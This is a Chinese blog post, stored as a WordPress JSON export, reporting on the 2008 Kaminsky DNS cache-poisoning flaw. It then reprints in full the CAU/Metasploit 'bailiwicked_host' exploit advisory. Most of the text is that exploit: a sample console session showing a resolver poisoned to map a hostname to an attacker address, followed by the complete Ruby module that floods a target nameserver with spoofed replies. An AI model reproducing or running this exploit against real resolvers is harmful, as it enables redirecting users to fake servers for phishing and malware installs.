{"id":326,"date":"2008-07-25T20:48:53","date_gmt":"2008-07-25T12:48:53","guid":{"rendered":"http:\/\/www.liangliang.org.cn\/blog\/?p=326"},"modified":"2008-07-25T20:48:53","modified_gmt":"2008-07-25T12:48:53","slug":"dns%e6%bc%8f%e6%b4%9e%e6%94%bb%e5%87%bb%e4%bb%a3%e7%a0%81%e7%8e%b0%e8%ba%ab-%e6%99%ae%e9%80%9a%e7%bd%91%e6%b0%91%e5%b0%86%e6%88%90%e6%94%bb%e5%87%bb%e5%af%b9%e8%b1%a1","status":"publish","type":"post","link":"https:\/\/www.liangliang.org.cn\/?p=326","title":{"rendered":"DNS\u6f0f\u6d1e\u653b\u51fb\u4ee3\u7801\u73b0\u8eab \u666e\u901a\u7f51\u6c11\u5c06\u6210\u653b\u51fb\u5bf9\u8c61"},"content":{"rendered":"<p>\u5317\u4eac\u65f6\u95f47\u670824\u65e5\u6d88\u606f\uff0c\u636e\u56fd\u5916\u5a92\u4f53\u62a5\u9053\uff0c\u4e00\u4e2a\u4e92\u8054\u7f51\u57df\u540d\u670d\u52a1\u5668(DNS)\u91cd\u5927\u6f0f\u6d1e\u7684\u751f\u6210\u673a\u5236\u548c\u6280\u672f\u7ec6\u8282\u5468\u4e00\u88ab\u7f8e\u56fd\u5b89\u5168\u516c\u53f8Matasano\u201c\u51fa\u4e8e\u758f\u5ffd\u5927\u610f\u201d\u66dd\u5149\u540e\uff0c\u5f00\u6e90\u5b89\u5168\u6f0f\u6d1e\u68c0\u6d4b\u5de5\u5177Metasploit\u5f00\u53d1\u8005\u4eec\u5468\u4e09\u5df2\u53d1\u5e03\u4e86\u9488\u5bf9\u8be5DNS\u6f0f\u6d1e\u7684\u653b\u51fb\u4ee3\u7801\u3002\u5b89\u5168\u4e13\u5bb6\u8868\u793a\uff0c\u5982\u679c\u67d0\u5bb6\u4e92\u8054\u7f51\u670d\u52a1\u4f9b\u5e94\u5546(ISP)\u6ca1\u6709\u5b89\u88c5\u76f8\u5e94\u6f0f\u6d1e\u8865\u4e01\u7a0b\u5e8f\uff0c\u5219\u9ed1\u5ba2\u4eec\u53ef\u9488\u5bf9\u4f7f\u7528\u8be5ISP\u670d\u52a1\u7684\u666e\u901a\u7f51\u6c11\u53d1\u8d77\u201c\u7f51\u7edc\u9493\u9c7c \u201d(phishing)\u653b\u51fb\uff0c\u800c\u8fd9\u4e9b\u7f51\u6c11\u6839\u672c\u65e0\u6cd5\u610f\u8bc6\u5230\u81ea\u5df1\u5df2\u88ab\u653b\u51fb\u3002<\/p>\n<p>\u4eca\u5e74\u5e74\u521d\uff0c\u7f8e\u56fd\u7f51\u7edc\u5b89\u5168\u4ea7\u54c1\u548c\u670d\u52a1\u63d0\u4f9b\u5546IOActive\u5b89\u5168\u7814\u7a76\u5458\u4e39\u00b7\u5361\u660e\u65af\u57fa(Dan Kaminsky)\u9996\u5148\u53d1\u73b0\u4e86\u8fd9\u4e00\u4e25\u91cdDNS\u6f0f\u6d1e\uff0c\u4ed6\u968f\u540e\u4e0e\u5fae\u8f6f\u7b49\u79d1\u6280\u5de8\u5934\u53d6\u5f97\u4e86\u8054\u7cfb\u3002\u5404\u5927\u8ba1\u7b97\u673a\u4e1a\u5de8\u5934\u5df2\u4e8e7\u67088\u65e5\u53d1\u5e03\u4e86\u4e00\u6b3e\u8f6f\u4ef6\u8865\u4e01\u3002<\/p>\n<p>\u5b89\u5168\u4e13\u5bb6\u79f0\uff0c\u5bf9\u4e8e\u90a3\u4e9b\u8fd8\u6ca1\u6709\u7ed9\u670d\u52a1\u5668\u5b89\u88c5\u8be5DNS\u6f0f\u6d1e\u8865\u4e01\u7684ISP\u6765\u8bf4\uff0c\u9ed1\u5ba2\u4eec\u53ef\u9488\u5bf9\u4f7f\u7528\u8be5 ISP\u670d\u52a1\u7684\u666e\u901a\u7f51\u6c11\u53d1\u8d77\u653b\u51fb\u3002\u5176\u65b9\u5f0f\u662f\u5728\u7f51\u6c11\u8fdb\u884c\u5404\u79cd\u7a0b\u5e8f\u5347\u7ea7\u65f6\uff0c\u9ed1\u5ba2\u4eec\u5c06\u6084\u6084\u628a\u8fd9\u4e9b\u7f51\u6c11\u7684\u8bbf\u95ee\u5730\u5740\u8f6c\u5230\u4e00\u53f0\u5047\u5192\u670d\u52a1\u5668\u4e0a\u9762\uff1b\u5728\u7528\u6237\u8fdb\u884c\u8f6f\u4ef6\u5347\u7ea7\u7684\u8fc7\u7a0b\u5f53\u4e2d\uff0c\u81ea\u5df1\u673a\u5668\u4e0a\u5df2\u88ab\u5b89\u88c5\u4e86\u6076\u610f\u8f6f\u4ef6\u3002<\/p>\n<p>\u7f8e\u56fd\u77e5\u540d\u6740\u6bd2\u8f6f\u4ef6\u5f00\u53d1\u5546\u8d5b\u95e8\u94c1\u514b(Symantec)\u6280\u672f\u4e3b\u7ba1\u7956\u5c14\u83f2\u5361\u00b7\u62c9\u7c73\u624e(Zulfikar Ramizan)\u5bf9\u6b64\u8868\u793a\uff1a\u201c\u8be5DNS\u653b\u51fb\u7684\u53ef\u6015\u4e4b\u5904\u5c31\u5728\u4e8e\uff1a\u5728\u53d1\u751f\u4e0a\u8ff0\u653b\u51fb\u65f6\uff0c\u666e\u901a\u7ec8\u7aef\u7535\u8111\u7528\u6237\u6839\u672c\u5c31\u4e0d\u4f1a\u89c9\u5bdf\u5230\u4efb\u4f55\u5f02\u5e38\u73b0\u8c61\u3002\u201d<\/p>\n<p>\u6f0f\u6d1e\u7ec6\u8282\u88ab\u6cc4\u9732<\/p>\n<p>\u5361\u660e\u65af\u57fa\u6b64\u524d\u66fe\u8868\u793a\uff0c\u5728\u5404\u5927\u4f01\u4e1a\u7528\u6237\u5b89\u88c5\u8fd9\u6b3eDNS\u6f0f\u6d1e\u8865\u4e01\u4e4b\u524d\uff0c\u4e0d\u4f1a\u5bf9\u5916\u516c\u5e03\u8be5\u6f0f\u6d1e\u7684\u6280\u672f\u7ec6\u8282\uff0c\u800c\u4f1a\u7b49\u5230\u5728\u4eca\u5e748\u6708\u4e3e\u884c\u7684\u201c\u9ed1\u5e3d\u201d(Black Hat)\u5b89\u5168\u6280\u672f\u5927\u4f1a\u4e0a\u518d\u516c\u5e03\u76f8\u5173\u8d44\u6599\u3002\u4f46\u672c\u5468\u4e00Matasano\u4e0d\u614e\u5728\u516c\u53f8\u535a\u5ba2\u4e0a\u62ab\u9732\u4e86\u8be5\u6f0f\u6d1e\u7684\u6280\u672f\u8be6\u60c5\u3002\u867d\u7136Matasano\u968f\u5373\u5220\u9664\u4e86\u8fd9\u7bc7\u6587\u7ae0\uff0c\u4f46\u76f8\u5173\u5185\u5bb9\u5df2\u88ab\u591a\u5bb6\u7f51\u7ad9\u8f6c\u8f7d\u3002<\/p>\n<p>\u5c3d\u7ba1\u8be5DNS\u6f0f\u6d1e\u8865\u4e01\u5df2\u4e8e7\u67088\u65e5\u53d1\u5e03\uff0c\u4f46\u76ee\u524d\u5168\u7403\u7edd\u5927\u591a\u6570\u4f01\u4e1a\u7528\u6237\u4ecd\u6ca1\u6709\u5b89\u88c5\u8be5\u8865\u4e01\uff0c\u539f\u56e0\u662f\u8fd9\u4e9b\u4f01\u4e1a\u7528\u6237\u9700\u9996\u5148\u68c0\u6d4b\u8be5\u8865\u4e01\u7684\u517c\u5bb9\u6027\u3002\u5b89\u5168\u516c\u53f8ISC\u603b\u88c1\u4fdd\u7f57\u00b7\u7ef4\u514b\u897f(Paul Vixie)\u5bf9\u6b64\u8868\u793a\uff1a\u201c\u591a\u6570\u4f01\u4e1a\u76ee\u524d\u8fd8\u6ca1\u6709\u5b89\u88c5\u8be5DNS\u8865\u4e01\uff0c\u8fd9\u53ef\u662f\u4e2a\u5927\u95ee\u9898\u3002\u201d<\/p>\n<p>\u53e6\u4e00\u5bb6\u5b89\u5168\u516c\u53f8Trusteer\u9996\u5e2d\u6280\u672f\u5b98(CTO)\u963f\u7c73\u7279\u00b7\u514b\u83b1\u6069(Amit Klein)\u5219\u8868\u793a\uff0c\u5468\u4e09\u51fa\u73b0\u7684DNS\u6f0f\u6d1e\u653b\u51fb\u4ee3\u7801\u201c\u770b\u8d77\u6765\u662f\u771f\u7684\u201d\uff1b\u5229\u7528\u8be5\u653b\u51fb\u4ee3\u7801\uff0c\u9ed1\u5ba2\u4eec\u5c06\u53ef\u9488\u5bf9\u8fd8\u6ca1\u6709\u5b89\u88c5\u8865\u4e01\u7684DNS\u670d\u52a1\u5668\u53d1\u8d77\u653b\u51fb\u3002\u4ed6\u8bf4\uff1a\u201c\u8fd9\u79cd\u653b\u51fb\u5371\u5bb3\u6027\u6781\u5927\u3002\u5982\u679c\u653b\u51fb\u8005\u5f88\u72e1\u733e\uff0c\u6211\u4eec\u6839\u672c\u5c31\u4e0d\u4f1a\u53d1\u89c9\u81ea\u5df1\u5df2\u906d\u5230\u653b\u51fb\u3002\u201d<\/p>\n<p>\u4ee3\u7801\u53ca\u7ec6\u8282\uff1a<\/p>\n<p>http:\/\/www.caughq.org\/exploits\/CAU-EX-2008-0002.txt<\/p>\n<p>[Copy to clipboard] [ - ]<br \/>\nCODE:<br \/>\n                      ____      ____     __    __<br \/>\n                     \/    \\    \/    \\   |  |  |  |<br \/>\n        ----====####\/  \/\\__\\##\/  \/\\  \\##|  |##|  |####====----<br \/>\n                   |  |      |  |__|  | |  |  |  |<br \/>\n                   |  |  ___ |   __   | |  |  |  |<br \/>\n  ------======######\\  \\\/  \/#|  |##|  |#|  |##|  |######======------<br \/>\n                     \\____\/  |__|  |__|  \\______\/<\/p>\n<p>                    Computer Academic Underground<br \/>\n                        [url]http:\/\/www.caughq.org[\/url]<br \/>\n                            Exploit Code<\/p>\n<p>===============\/========================================================<br \/>\nExploit ID:     CAU-EX-2008-0002<br \/>\nRelease Date:   2008.07.23<br \/>\nTitle:          bailiwicked_host.rb<br \/>\nDescription:    Kaminsky DNS Cache Poisoning Flaw Exploit<br \/>\nTested:         BIND 9.4.1-9.4.2<br \/>\nAttributes:     Remote, Poison, Resolver, Metasploit<br \/>\nExploit URL:    [url]http:\/\/www.caughq.org\/exploits\/CAU-EX-2008-0002.txt[\/url]<br \/>\nAuthor\/Email:   I)ruid <druid (@) caughq.org><br \/>\n                H D Moore <hdm (@) metasploit.com><br \/>\n===============\/========================================================<\/p>\n<p>Description<br \/>\n===========<\/p>\n<p>This exploit targets a fairly ubiquitous flaw in DNS implementations<br \/>\nwhich allow the insertion of malicious DNS records into the cache of the<br \/>\ntarget nameserver.  This exploit caches a single malicious host entry<br \/>\ninto the target nameserver.  By causing the target nameserver to query<br \/>\nfor random hostnames at the target domain, the attacker can spoof a<br \/>\nresponse to the target server including an answer for the query, an<br \/>\nauthority server record, and an additional record for that server,<br \/>\ncausing target nameserver to insert the additional record into the<br \/>\ncache.<\/p>\n<p>Example<br \/>\n=======<\/p>\n<p># \/msf3\/msfconsole<\/p>\n<p>                _                  _       _ _<br \/>\n               | |                | |     (_) |<br \/>\n_ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_<br \/>\n| '_ ` _ \\ \/ _ \\ __\/ _` \/ __| '_ \\| |\/ _ \\| | __|<br \/>\n| | | | | |  __\/ || (_| \\__ \\ |_) | | (_) | | |_<br \/>\n|_| |_| |_|\\___|\\__\\__,_|___\/ .__\/|_|\\___\/|_|\\__|<br \/>\n                            | |<br \/>\n                            |_|<\/p>\n<p>       =[ msf v3.2-release<br \/>\n+ -- --=[ 298 exploits - 124 payloads<br \/>\n+ -- --=[ 18 encoders - 6 nops<br \/>\n       =[ 72 aux<\/p>\n<p>msf > use auxiliary\/spoof\/dns\/bailiwicked_host<br \/>\nmsf auxiliary(bailiwicked_host) > show options<\/p>\n<p>Module options:<\/p>\n<p>   Name      Current Setting    Required  Description<br \/>\n   ----      ---------------    --------  -----------<br \/>\n   HOSTNAME  pwned.example.com  yes       Hostname to hijack<br \/>\n   NEWADDR   1.3.3.7            yes       New address for hostname<br \/>\n   RECONS    208.67.222.222     yes       Nameserver used for reconnaissance<br \/>\n   RHOST                        yes       The target address<br \/>\n   SRCPORT                      yes       The target server's source query port (0 for automatic)<br \/>\n   XIDS      10                 yes       Number of XIDs to try for each query<\/p>\n<p>msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D<br \/>\nRHOST => A.B.C.D<\/p>\n<p>msf auxiliary(bailiwicked_host) > check<br \/>\n[*] Using the Metasploit service to verify exploitability...<br \/>\n[*]  >> ADDRESS: A.B.C.D  PORT: 48178<br \/>\n[*]  >> ADDRESS: A.B.C.D  PORT: 48178<br \/>\n[*]  >> ADDRESS: A.B.C.D  PORT: 48178<br \/>\n[*]  >> ADDRESS: A.B.C.D  PORT: 48178<br \/>\n[*]  >> ADDRESS: A.B.C.D  PORT: 48178<br \/>\n[*] FAIL: This server uses static source ports and is vulnerable to poisoning<\/p>\n<p>msf auxiliary(bailiwicked_host) > set SRCPORT 0<br \/>\nSRCPORT => 0<\/p>\n<p>msf auxiliary(bailiwicked_host) > run<br \/>\n[*] Switching to target port 48178 based on Metasploit service<br \/>\n[*] Targeting nameserver A.B.C.D<br \/>\n[*] Querying recon nameserver for example.com.'s nameservers...<br \/>\n[*]  Got answer with 2 answers, 0 authorities<br \/>\n[*]  Got an NS record: example.com.            172643  IN      NS      ns89.worldnic.com.<br \/>\n[*] Querying recon nameserver for address of ns89.worldnic.com....<br \/>\n[*]  Got answer with 1 answers, 0 authorities<br \/>\n[*]  Got an A record: ns89.worldnic.com.      172794  IN      A       205.178.190.45<br \/>\n[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....<br \/>\n[*]   ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as<br \/>\n[*]  Got an NS record: example.com.            172643  IN      NS      ns90.worldnic.com.<br \/>\n[*] Querying recon nameserver for address of ns90.worldnic.com....<br \/>\n[*]  Got answer with 1 answers, 0 authorities<br \/>\n[*]  Got an A record: ns90.worldnic.com.      172794  IN      A       205.178.144.45<br \/>\n[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....<br \/>\n[*]   ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as<br \/>\n[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...<br \/>\n[*] Sent 1000 queries and 20000 spoofed responses...<br \/>\n[*] Sent 2000 queries and 40000 spoofed responses...<br \/>\n[*] Sent 3000 queries and 60000 spoofed responses...<br \/>\n[*] Sent 4000 queries and 80000 spoofed responses...<br \/>\n[*] Sent 5000 queries and 100000 spoofed responses...<br \/>\n[*] Sent 6000 queries and 120000 spoofed responses...<br \/>\n[*] Sent 7000 queries and 140000 spoofed responses...<br \/>\n[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7<br \/>\n[*] Auxiliary module execution completed<br \/>\nmsf auxiliary(bailiwicked_host) > <\/p>\n<p>msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D<br \/>\n[*] exec: nslookup pwned.example.com A.B.C.D<\/p>\n<p>Server:         A.B.C.D<br \/>\nAddress:        A.B.C.D#53<\/p>\n<p>Non-authoritative answer:<br \/>\nName:   pwned.example.com<br \/>\nAddress: 1.3.3.7<\/p>\n<p>Credits<br \/>\n=======<\/p>\n<p>Dan Kaminsky is credited with originally discovering this vulnerability.<\/p>\n<p>References<br \/>\n==========<\/p>\n<p>[url]http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2008-1447[\/url]<br \/>\n[url]http:\/\/www.kb.cert.org\/vuls\/id\/800113[\/url]<\/p>\n<p>Metasploit<br \/>\n==========<\/p>\n<p>require 'msf\/core'<br \/>\nrequire 'net\/dns'<br \/>\nrequire 'scruby'<br \/>\nrequire 'resolv'<\/p>\n<p>module Msf<\/p>\n<p>class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary\n\n        include Exploit::Remote::Ip\n\n        def initialize(info = {})\n                super(update_info(info,        \n                        'Name'           => 'DNS BailiWicked Host Attack',<br \/>\n                        'Description'    => %q{<br \/>\n                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which<br \/>\n                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single<br \/>\n                                malicious host entry into the target nameserver by sending random sub-domain<br \/>\n                                queries to the target DNS server coupled with spoofed replies to those<br \/>\n                                queries from the authoritative nameservers for the domain which contain a<br \/>\n                                malicious host entry for the hostname to be poisoned in the authority and<br \/>\n                                additional records sections.  Eventually, a guessed ID will match and the<br \/>\n                                spoofed packet will get accepted, and due to the additional hostname entry<br \/>\n                                being within bailiwick constraints of the original request the malicious host<br \/>\n                                entry will get cached.<br \/>\n                        },<br \/>\n                        'Author'         => [ 'I)ruid', 'hdm' ],<br \/>\n                        'License'        => MSF_LICENSE,<br \/>\n                        'Version'        => '$Revision: 5585 $',<br \/>\n                        'References'     =><br \/>\n                                [<br \/>\n                                        [ 'CVE', '2008-1447' ],<br \/>\n                                        [ 'US-CERT-VU', '8000113' ],<br \/>\n                                        [ 'URL', 'http:\/\/www.caughq.org\/exploits\/CAU-EX-2008-0002.txt' ],<br \/>\n                                ],<br \/>\n                        'Privileged'     => true,<br \/>\n                        'Targets'        =><br \/>\n                                [<br \/>\n                                        [\"BIND\",<br \/>\n                                                {<br \/>\n                                                        'Arch' => ARCH_X86,<br \/>\n                                                        'Platform' => 'linux',<br \/>\n                                                },<br \/>\n                                        ],<br \/>\n                                ],<br \/>\n                        'DisclosureDate' => 'Jul 21 2008'<br \/>\n                        ))<\/p>\n<p>                        register_options(<br \/>\n                                [<br \/>\n                                        OptPort.new('SRCPORT', [true, \"The target server's source query port (0 for automatic)\", nil]),<br \/>\n                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),<br \/>\n                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),<br \/>\n                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),<br \/>\n                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),<br \/>\n                                        OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),<br \/>\n                                ], self.class)<\/p>\n<p>        end<\/p>\n<p>        def auxiliary_commands<br \/>\n                return { \"check\" => \"Determine if the specified DNS server (RHOST) is vulnerable\" }<br \/>\n        end<\/p>\n<p>        def cmd_check(*args)<br \/>\n                targ = args[0] || rhost()<br \/>\n                if(not (targ and targ.length > 0))<br \/>\n                        print_status(\"usage: check [dns-server]\")<br \/>\n                        return<br \/>\n                end<\/p>\n<p>                print_status(\"Using the Metasploit service to verify exploitability...\")<br \/>\n                srv_sock = Rex::Socket.create_udp(<br \/>\n                        'PeerHost' => targ,<br \/>\n                        'PeerPort' => 53<br \/>\n                )                <\/p>\n<p>                random = false<br \/>\n                ports  = []<br \/>\n                lport  = nil<\/p>\n<p>                1.upto(5) do |i|<\/p>\n<p>                        req = Resolv::DNS::Message.new<br \/>\n                        txt = \"spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com\"<br \/>\n                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)<br \/>\n                        req.rd = 1<\/p>\n<p>                        srv_sock.put(req.encode)<br \/>\n                        res, addr = srv_sock.recvfrom()<\/p>\n<p>                        if res and res.length > 0<br \/>\n                                res = Resolv::DNS::Message.decode(res)<br \/>\n                                res.each_answer do |name, ttl, data|<br \/>\n                                        if (name.to_s == txt and data.strings.join('') =~ \/^([^\\s]+)\\s+.*red\\.metasploit\\.com\/m)<br \/>\n                                                t_addr, t_port = $1.split(':')<\/p>\n<p>                                                print_status(\" >> ADDRESS: #{t_addr}  PORT: #{t_port}\")<br \/>\n                                                t_port = t_port.to_i<br \/>\n                                                if(lport and lport != t_port)<br \/>\n                                                        random = true<br \/>\n                                                end<br \/>\n                                                lport  = t_port<br \/>\n                                                ports << t_port\n                                        end\n                                end\n                        end        \n                end\n                \n                srv_sock.close\n                \n                if(ports.length < 5)\n                        print_status(\"UNKNOWN: This server did not reply to our vulnerability check requests\")\n                        return\n                end\n                \n                if(random)\n                        print_status(\"PASS: This server does not use a static source port. Ports: #{ports.join(\", \")}\")\n                        print_status(\"      This server may still be exploitable, but not by this tool.\")\n                else\n                        print_status(\"FAIL: This server uses static source ports and is vulnerable to poisoning\")\n                end\n        end\n                \n        def run\n                target   = rhost()\n                source   = Rex::Socket.source_address(target)\n                sport    = datastore['SRCPORT']\n                hostname = datastore['HOSTNAME'] + '.'\n                address  = datastore['NEWADDR']\n                recons   = datastore['RECONS']\n                xids     = datastore['XIDS'].to_i\n                ttl      = datastore['TTL'].to_i\n                xidbase  = rand(4)+2*10000\n\n                domain = hostname.match(\/[^\\x2e]+\\x2e[^\\x2e]+\\x2e$\/)[0]\n\n                srv_sock = Rex::Socket.create_udp(\n                        'PeerHost' => target,<br \/>\n                        'PeerPort' => 53<br \/>\n                )<\/p>\n<p>                # Get the source port via the metasploit service if it's not set<br \/>\n                if sport.to_i == 0<br \/>\n                        req = Resolv::DNS::Message.new<br \/>\n                        txt = \"spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com\"<br \/>\n                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)<br \/>\n                        req.rd = 1<\/p>\n<p>                        srv_sock.put(req.encode)<br \/>\n                        res, addr = srv_sock.recvfrom()<\/p>\n<p>                        if res and res.length > 0<br \/>\n                                res = Resolv::DNS::Message.decode(res)<br \/>\n                                res.each_answer do |name, ttl, data|<br \/>\n                                        if (name.to_s == txt and data.strings.join('') =~ \/^([^\\s]+)\\s+.*red\\.metasploit\\.com\/m)<br \/>\n                                                t_addr, t_port = $1.split(':')<br \/>\n                                                sport = t_port.to_i<\/p>\n<p>                                                print_status(\"Switching to target port #{sport} based on Metasploit service\")<br \/>\n                                                if target != t_addr<br \/>\n                                                        print_status(\"Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!\")<br \/>\n                                                end<br \/>\n                                        end<br \/>\n                                end<br \/>\n                        end<br \/>\n                end<\/p>\n<p>                # Verify its not already cached<br \/>\n                begin<br \/>\n                        query = Resolv::DNS::Message.new<br \/>\n                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)<br \/>\n                        query.rd = 0<\/p>\n<p>                        begin<br \/>\n                                cached = false<br \/>\n                                srv_sock.put(query.encode)<br \/>\n                                answer, addr = srv_sock.recvfrom()<\/p>\n<p>                                if answer and answer.length > 0<br \/>\n                                        answer = Resolv::DNS::Message.decode(answer)<br \/>\n                                        answer.each_answer do |name, ttl, data|<br \/>\n                                                if((name.to_s + \".\") == hostname  and data.address.to_s == address)<br \/>\n                                                        t = Time.now + ttl<br \/>\n                                                        print_status(\"Failure: This hostname is already in the target cache: #{name} == #{address}\")<br \/>\n                                                        print_status(\"         Cache entry expires on #{t.to_s}... sleeping.\")<br \/>\n                                                        cached = true<br \/>\n                                                        sleep ttl<br \/>\n                                                end<br \/>\n                                        end<br \/>\n                                end<br \/>\n                        end until not cached<br \/>\n                rescue ::Interrupt<br \/>\n                        raise $!<br \/>\n                rescue ::Exception => e<br \/>\n                        print_status(\"Error checking the DNS name: #{e.class} #{e} #{e.backtrace}\")<br \/>\n                end<\/p>\n<p>                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver<\/p>\n<p>                print_status \"Targeting nameserver #{target} for injection of #{hostname} as #{address}\"<\/p>\n<p>                # Look up the nameservers for the domain<br \/>\n                print_status \"Querying recon nameserver for #{domain}'s nameservers...\"<br \/>\n                answer0 = res0.send(domain, Net::DNS::NS)<br \/>\n                #print_status \" Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities\"<\/p>\n<p>                barbs = [] # storage for nameservers<br \/>\n                answer0.answer.each do |rr0|<br \/>\n                        print_status \" Got an #{rr0.type} record: #{rr0.inspect}\"<br \/>\n                        if rr0.type == 'NS'<br \/>\n                                print_status \"  Querying recon nameserver for address of #{rr0.nsdname}...\"<br \/>\n                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname<br \/>\n                                #print_status \" Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities\"<br \/>\n                                answer1.answer.each do |rr1|<br \/>\n                                        print_status \"   Got an #{rr1.type} record: #{rr1.inspect}\"<br \/>\n                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)<br \/>\n                                        print_status \"    Checking Authoritativeness: Querying #{rr1.address} for #{domain}...\"<br \/>\n                                        answer2 = res2.send(domain)<br \/>\n                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1<br \/>\n                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}<br \/>\n                                                barbs << nsrec\n                                                print_status \"    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as\"\n                                        end\n                                end\n                        end        \n                end\n\n                if barbs.length == 0\n                        print_status( \"No DNS servers found.\")\n                        srv_sock.close\n                        disconnect_ip\n                        return\n                end\n\n                # Flood the target with queries and spoofed responses, one will eventually hit\n                queries = 0\n                responses = 0\n\n                connect_ip if not ip_sock\n\n                print_status( \"Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...\")\n\n                while true\n                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname\n\n                        # Send spoofed query\n                        req = Resolv::DNS::Message.new\n                        req.id = rand(2**16)\n                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)\n\n                        req.rd = 1\n\n                        buff = (\n                                Scruby::IP.new(\n                                        #:src   => barbs[0][:addr].to_s,<br \/>\n                                        :src   => source,<br \/>\n                                        :dst   => target,<br \/>\n                                        :proto => 17<br \/>\n                                )\/Scruby::UDP.new(<br \/>\n                                        :sport => (rand((2**16)-1024)+1024).to_i,<br \/>\n                                        :dport => 53<br \/>\n                                )\/req.encode<br \/>\n                        ).to_net<br \/>\n                        ip_sock.sendto(buff, target)<br \/>\n                        queries += 1<\/p>\n<p>                        # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])<br \/>\n                        req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))<br \/>\n                        req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))<br \/>\n                        req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))<br \/>\n                        req.qr = 1<br \/>\n                        req.ra = 1<\/p>\n<p>                        xidbase.upto(xidbase+xids-1) do |id|<br \/>\n                                req.id = id<br \/>\n                                barbs.each do |barb|<br \/>\n                                        buff = (<br \/>\n                                                Scruby::IP.new(<br \/>\n                                                        #:src   => barbs[i][:addr].to_s,<br \/>\n                                                        :src   => barb[:addr].to_s,<br \/>\n                                                        :dst   => target,<br \/>\n                                                        :proto => 17<br \/>\n                                                )\/Scruby::UDP.new(<br \/>\n                                                        :sport => 53,<br \/>\n                                                        :dport => sport.to_i<br \/>\n                                                )\/req.encode<br \/>\n                                        ).to_net<br \/>\n                                        ip_sock.sendto(buff, target)<br \/>\n                                        responses += 1<br \/>\n                                end<br \/>\n                        end<\/p>\n<p>                        # status update<br \/>\n                        if queries % 1000 == 0<br \/>\n                                print_status(\"Sent #{queries} queries and #{responses} spoofed responses...\")<br \/>\n                        end<\/p>\n<p>                        # every so often, check and see if the target is poisoned...<br \/>\n                        if queries % 250 == 0<br \/>\n                                begin<br \/>\n                                        query = Resolv::DNS::Message.new<br \/>\n                                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)<br \/>\n                                        query.rd = 0<\/p>\n<p>                                        srv_sock.put(query.encode)<br \/>\n                                        answer, addr = srv_sock.recvfrom()<\/p>\n<p>                                        if answer and answer.length > 0<br \/>\n                                                answer = Resolv::DNS::Message.decode(answer)<br \/>\n                                                answer.each_answer do |name, ttl, data|<br \/>\n                                                        if((name.to_s + \".\") == hostname and data.address.to_s == address)<br \/>\n                                                                print_status(\"Poisoning successful after #{queries} attempts: #{name} == #{address}\")<br \/>\n                                                                disconnect_ip<br \/>\n                                                                return<br \/>\n                                                        end<br \/>\n                                                end<br \/>\n                                        end<br \/>\n                                rescue ::Interrupt<br \/>\n                                        raise $!<br \/>\n                                rescue ::Exception => e<br \/>\n                                        print_status(\"Error querying the DNS name: #{e.class} #{e} #{e.backtrace}\")<br \/>\n                                end<br \/>\n                        end<\/p>\n<p>                end<\/p>\n<p>        end<\/p>\n<p>end<br \/>\nend       <\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5317\u4eac\u65f6\u95f47\u670824\u65e5\u6d88\u606f\uff0c\u636e\u56fd\u5916\u5a92\u4f53\u62a5\u9053\uff0c\u4e00\u4e2a\u4e92\u8054\u7f51\u57df\u540d\u670d\u52a1\u5668(DNS)\u91cd\u5927\u6f0f\u6d1e\u7684\u751f\u6210\u673a\u5236\u548c\u6280\u672f\u7ec6\u8282\u5468\u4e00\u88ab\u7f8e\u56fd\u5b89\u5168\u516c\u53f8Matasano\u201c\u51fa\u4e8e\u758f\u5ffd\u5927\u610f\u201d\u66dd\u5149\u540e\uff0c\u5f00\u6e90\u5b89\u5168\u6f0f\u6d1e\u68c0\u6d4b\u5de5\u5177Metasploit\u5f00\u53d1&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-326","post","type-post","status-publish","format-standard","hentry","category-hacker"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/326","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lianglia